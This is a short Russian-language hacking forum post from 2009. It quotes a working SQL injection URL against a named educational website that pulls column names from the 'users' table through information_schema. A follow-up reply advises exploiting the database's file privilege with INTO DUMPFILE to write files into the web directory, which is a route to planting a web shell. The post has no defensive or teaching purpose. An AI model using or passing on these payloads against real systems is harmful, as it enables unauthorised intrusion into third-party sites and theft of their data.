24.05.2009, 03:15
|
|
Новичок
Регистрация: 02.05.2009
Сообщений: 11
Провел на форуме:
69162
Репутация:
0
|
|
Сообщение от R1dex
Код:
http://www.mcli.dist.maricopa.edu/cares/resources.php?cat=-2'+union+select+1,2,unhex(hex(concat(column_name,0x3a,table_schema))),4,5,6,7,8+from+information_schema.columns+where+table_name='users'/*
спасибо, высвечивает хотябы привязанные к бд колоноки, разобраться можно)
Там file_priv c неэкранированием кавычек, ищи путь до веб диры и лей через into dumpfile, тем более есть например drupal а там в базе в табличке конфигов лежит полный путь.
буду пробовать
|
|
|